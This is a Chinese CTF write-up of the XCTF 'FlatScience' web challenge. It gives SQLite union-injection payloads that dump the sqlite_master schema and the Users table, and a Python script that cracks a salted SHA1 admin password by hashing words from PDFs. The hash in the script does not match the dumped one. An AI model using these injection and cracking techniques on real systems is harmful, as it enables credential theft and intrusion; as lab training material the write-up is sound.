攻防世界-FlatScience

打开题目,左右看了看,就是一些文章,试了下robots.txt,看到两个php

挨个访问,发现admin.php和login.ogo都是一个登陆页面,不过admin.php有一个默认的admin账号,猜测应该是获取到密码拿到flag,我们看看login.php里面有什么

 在login.php页面里,我习惯性的先看一下源码,发现了一个?debug

 提交过后,返回了一段源码,

这里我们看到数据库是SQLite3,不是MySQL,在sqlite数据库有一张sqlite_master表,存放着相关信息

我们闭合语句进行注入 ,1' union select 1,2 --+

1' union select name,sql from sqlite_master --+ 

 我们将id.name,password,hint读取

构造查询password的SQL:usr=1' union select id, password from Users–+&pw=1
构造查询name的SQL:usr=1' union select id, name from Users --+&pw=1
构造查询hint的SQL:usr=1' union select id, hint from Users–+&pw=1

读取的内容(一共三个,这里就给大家列出一个):

1 admin 34b0bb7c304949f9ff2fc101eef0f048be10d3bd my fav word in my fav paper?!

这里提示就是在所有文章里找到一个词并加上Salz然后经过sha1加密得到的值与34b0bb7c304949f9ff2fc101eef0f048be10d3bd一样的即为密码

我这里偷了个懒,直接用在线的网站解密后,去掉Salz!即为密码

 在admin.php页面中登录即可拿到flag

正常的流程应该是用kaili的wget命令将全部的pdf下载下来,由于本菜鸡太菜,不会写脚本,就借用大佬的脚本给你们看一看

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]


def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text


def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()

if __name__ == "__main__":
    find_password()

解密后也可以拿到密码,登陆即可获得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值